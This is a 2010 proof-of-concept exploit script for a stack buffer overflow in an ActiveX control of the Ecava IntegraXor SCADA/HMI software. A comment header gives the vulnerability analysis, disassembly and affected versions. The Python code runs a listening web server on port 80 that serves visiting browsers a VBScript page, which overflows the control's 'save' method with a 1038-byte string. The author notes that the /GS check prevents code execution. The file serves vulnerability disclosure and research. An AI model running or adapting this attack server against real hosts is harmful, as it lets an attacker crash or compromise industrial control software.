86 lines
No EOL
2.6 KiB
Python
Executable file
86 lines
No EOL
2.6 KiB
Python
Executable file
#!/usr/bin/python
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# intx.py
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# Ecava IntegraXor Remote ActiveX Buffer Overflow PoC
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# Jeremy Brown
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# December 2010
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# http://www.integraxor.com/
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#
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# There is a stack-based buffer overflow in IntegraXor that can be triggered
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# by passing an overly large value to the "save" method of the IntegraXor.Project
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# control located in igcomm.dll. This control is marked both safe for scripting
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# and safe for initialization.
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#
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# .text:100027C1 push eax ; lpString2
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# .text:100027C2 lea eax, [esp+84Ch+String1]
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# .text:100027C6 push eax ; lpString1
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# .text:100027C7 call ds:lstrcpyW
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# .text:100027CD lea ecx, [esp+848h+String1]
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# .text:100027D1 push ecx
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# .text:100027D2 call SplitPath
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# .text:100027D7 add esp, 4
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# .text:100027DA lea ecx, [esp+848h+var_83C]
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# .text:100027DE call ds:??0?$basic_string@_WU?$char<truncated>
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# .text:100027E4 cmp dword ptr [esi+20h], 8
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# .text:100027E8 jb short loc_100027EF
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# .text:100027EA mov esi, [esi+0Ch]
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# .text:100027ED jmp short loc_100027F2
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#
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# The vulnerable code in this block passes String1 (dest) and lpString2 (src)
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# to lstrcpyW() without validating the length of lpString2. lstrcpyW() then
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# copies lpString2 byte for byte into String1 (1024 bytes wchar buffer) and
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# adds a terminating NULL byte to the end.
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#
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# If you attach a debugger and set a breakpoint on 100027CD, you can see an
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# exception registration record is stored before the return address:
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#
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# ESP+83C > 00420042 B.B. Pointer to next SEH record
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# ESP+840 > 00420042 B.B. SE handler
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# ESP+844 > FFFF0000 ..<2E><>
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# ESP+848 > 10007916 xxxx RETURN to igcom.10007916 from igcom.10002770
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#
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# I wasn't able to find any useable unicode compatible PPRs. We can overwrite
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# the return address, but it will exit with a c0000409 code (/GS exception).
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#
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# Tested Ecava IntegraXor 3.5.3900.5 on Windows
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#
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# Fixed version: 3.5.3900.10
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#
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import sys
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import socket
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resp="""
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<html>
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<body>
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<object id="target" classid="clsid:{520F4CFD-61C6-4EED-8004-C26D514D3D19}"></object>
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<script language="vbscript">
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data="IntegraXor"
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filepath=String(1038,"B")
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target.save data,filepath
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</script>
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</body>
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</html>
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"""
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port=80
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try:
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sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
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sock.bind(("",port))
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sock.listen(1)
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conn,addr=sock.accept()
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except IOError,e:
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print e
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print "Client at %s connected\n"%addr[0]
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req=conn.recv(1024)
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print "Sending data..."
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conn.send(resp)
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print "Done"
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conn.close() |